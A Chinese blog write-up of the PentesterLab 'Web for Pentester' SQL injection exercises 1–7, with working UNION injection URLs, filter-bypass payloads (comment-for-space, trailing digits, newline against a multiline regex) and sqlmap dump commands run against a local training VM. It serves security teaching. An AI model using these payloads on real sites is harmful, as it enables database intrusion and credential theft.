Pentester Lab SQL注入example 1-7 答案解析

原创 2018年04月16日 16:15:12

pentester lab镜像下载地址为https://pentesterlab.com/exercises/web_for_pentester/course,下载.iso镜像,在虚拟机中搭建,查看虚拟机ip,在浏览器中输入虚拟机Ip,即可看到练习题界面,sql注入的界面如图所示:
这里写图片描述
一、example 1
1、首先判断是否存在注入点及注入类型
这里写图片描述
这里写图片描述
由此可知,存在字符型注入,且没有设置过滤。
2、判断后台查询语句中查询的列数:
这里写图片描述
这里写图片描述
说明后台语句查询的列数为5列。
3、查看当前页面输出的列数:
这里写图片描述
由图可知,输出1,2,3列。
4、利用输出的列数查询数据库版本,路径和当前数据库,并查询当前表,表中包含的列及具体值。
http://192.168.152.131/sqli/example1.php?name=root%27%20union%20%20select%20@@version,@@datadir,database(),4,5%23
(1)查询当前数据库中包含的表,注意表明需要用十六进行进行编码
http://192.168.152.131/sqli/example1.php?name=root%27%20union%20%20select%20TABLE_NAME,@@datadir,database(),4,5%20from%20information_schema.TABLES%20where%20TABLE_SCHEMA=0x657865726369736573%23
这里写图片描述
(2)查询当前表中包含的列,表名也要用十六进制进步编码
http://192.168.152.131/sqli/example1.php?name=root%27%20union%20%20select%20COLUMN_NAME,@@datadir,database(),4,5%20from%20information_schema.COLUMNS%20where%20TABLE_NAME=0x7573657273%23

这里写图片描述
(3)由于页面只能显示输出结果中的3列,所以选择输出列中,自己感兴趣的3列属性进行输出,这里我选择name,age,passwd。
http://192.168.152.131/sqli/example1.php?name=root%27%20union%20%20select%20name,age,passwd,4,5%20from%20users%23
这里写图片描述
至此,我们的注入成功,成功获取了管理员的账号和密码。

注:大家也可以利用sqlmap进行注入。
(1)查询当前数据库:sqlmap -u http://192.168.152.131/sqli/example1.php?name=root --dbs
这里写图片描述
(2)查询数据库中对应的表:sqlmap -u http://192.168.152.131/sqli/example1.php?name=root -D exercises --tables
这里写图片描述
(3)查询表中的内容:
sqlmap -u http://192.168.152.131/sqli/example1.php?name=root -D exercises -T users --dump
这里写图片描述
二、example2
1、判断是否存在注入点及其注入类型:
这里写图片描述
由图可知,该题后台设置了空格过滤。
我们可采用/**/代替空格,你也可以搜索sql注入绕过空格过滤方法,这也是本题的知识点。
这里写图片描述
接下来的操作和exaple1中一样,只需把example1中的空格,换成/**/.
2、利用sqlmap,本题过滤了空格,相当于设置了waf,sqlmap中有脚本可绕过空格过滤。
当使用sqlmap -u 192.168.152.131/sqli/example2.php?name=root --dbs输出
这里写图片描述
sqlmap 具有绕waf的相关脚本
sqlmap -u 192.168.152.131/sqli/example2.php?name=root --dbs --tamper=space2comment.py -v
这里写图片描述
这里写图片描述
这里写图片描述
这里写图片描述
example 3和example2答案一样。
三、example 4
本题考查的是数字型sql注入
这里写图片描述
数字型注入。
这里写图片描述
接下来的手工和sqlmap的注入过程和example1差不多,确定输出的列数,确定数据库,表,列,值。
example 5 解答过程和example4一样。
四、example 6
根据答案分析,该题设置必须以数字结尾。
这里写图片描述
手工注入时,确定列的数量,当前数据库,表,列时,payload和example1相同,只是不需要单引号,当查询各列的具体值时,会失败,因为表名不是以数字结尾:
这里写图片描述
根据答案,我们可以在payload后通过注释添加数字进行绕过,payload:
http://192.168.152.131/sqli/example6.php?id=2%20union%20select%20id,name,passwd,4,5%20from%20users%23%20123
这里写图片描述
如何利用sqlmap绕过该限制还在研究中,欢迎各位小伙伴进行讨论。
五、example 7
这里写图片描述
以数字结尾的payload已经不行了,该题又加入了新的限制。
这里写图片描述
后台查询语句用\m进行了限制,行起始”和“行结束”除了匹配整个字符串开头和结束外,还分别匹配其中的换行符的之后和之前,所以我们可以在原语句中加入换行符,在换行符后输入payload:
http://192.168.152.131/sqli/example7.php?id=2%0A%20union%20select%20name,id,passwd,4,5%20from%20users
这里写图片描述
用sqlmap 进行注入时,在url后面加上换行符’\n’的编码‘%0A’
sqlmap -u http://192.168.152.131/sqli/example7.php?id=2%0A --dbs -batch
惊了个呆,用这条语句,竟然一次性将当前数据库,表,列名全部dump出来
这里写图片描述
这里写图片描述

example8和example9不知道该设计怎样的payload,如果你找到了答案,欢迎分享。
总结:
1、做出的这几个题,考查了简单的字符,数字型注入,空格绕过,数字限制绕过,/m绕过。
2、sql注入成功的关键在于,弄清楚后台查询语句的结构,找出后台进行了什么限制,然后想办法绕过。
3、sqlmap跑不出来的,可以尝试手工,比如纯数字限制。

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/u011975363/article/details/79962142

Pentester Lab学习计划之From SQL Injection to Shell II

本文转载自Pentester Lab课程通关流程详解 https://pentesterlab.com/这个网站上有很多的练习题,还是挺有意思的。有些资源是免费的,有些资源是收费的。下载From SQ...
  • qq_32400847
  • qq_32400847
  • 2017-02-20 16:52:04
  • 1076

Pentester Lab学习计划之Web for Pentester II

本文转载自 https://pentesterlab.com/这个网站上有很多的练习题,还是挺有意思的。有些资源是免费的,有些资源是收费的。下载web_for_pentester_II这个镜像并在虚拟...
  • qq_32400847
  • qq_32400847
  • 2017-01-14 16:15:55
  • 2609

Web For Pentester 阅读笔记(1)

The Web Web appl ications are probably the most common services exposed by companies and insti tut...
  • kezhen
  • kezhen
  • 2014-06-06 22:15:59
  • 2464

web for pentester XSS部分练习

example 1 url上改成name=
  • u013894586
  • u013894586
  • 2014-08-21 16:46:00
  • 2186

web for pentester 之xss 篇

1、很明显了,地址栏里name=hacker。直接name=alert(1)。 2、还是先试一下alert(1),,输出只有alert,script不见了,先换大小写试一下,成功了。。 3、还...
  • Merc_A
  • Merc_A
  • 2015-11-09 17:52:19
  • 930

渗透测试学习平台-web for pentester

web for pentester是国外安全研究者开发的的一款渗透测试平台,通过该平台你可以了解到常见的Web漏洞检测技术。 如: XSS跨站脚本攻击 S...
  • lanbingkafei
  • lanbingkafei
  • 2013-04-24 10:38:55
  • 2868

web_for_pentest fileupload

web_for_pentest fileupload 继续看看其他的系列,fileupload是比较严重的漏洞,所以先看这个。、 example1 这个没有任何的限制,直接上...
  • qq_20307987
  • qq_20307987
  • 2016-04-29 21:22:18
  • 417

通过sqli-labs学习sql注入——基础挑战之less11-22

上一次就讲了基础挑战之less1-10,都是get型的,包含的种类也是比较多了,这次的是post型注入一般都是登陆绕过,当然也是可以获取数据库的信息,具体看下面的实验吧。 一些基础的知识上一篇基础挑战...
  • u012763794
  • u012763794
  • 2016-05-19 14:11:55
  • 13113

SEED实验系列:Collabtive系统SQL注入实验

SQL注入漏洞的代码注入技术,利用web应用程序和数据库服务器之间的接口。通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令;...
  • shiyanlou_chenshi
  • shiyanlou_chenshi
  • 2015-04-23 14:34:56
  • 1799

Web For Pentester 阅读笔记(3)

HTTP Responses 当用户发送一个请求时,服务器会返回HTTP 响应。例如
  • kezhen
  • kezhen
  • 2014-06-07 18:17:14
  • 2123
收藏助手
不良信息举报
您举报文章:Pentester Lab SQL注入example 1-7 答案解析
举报原因:
原因补充:

(最多只允许输入30个字)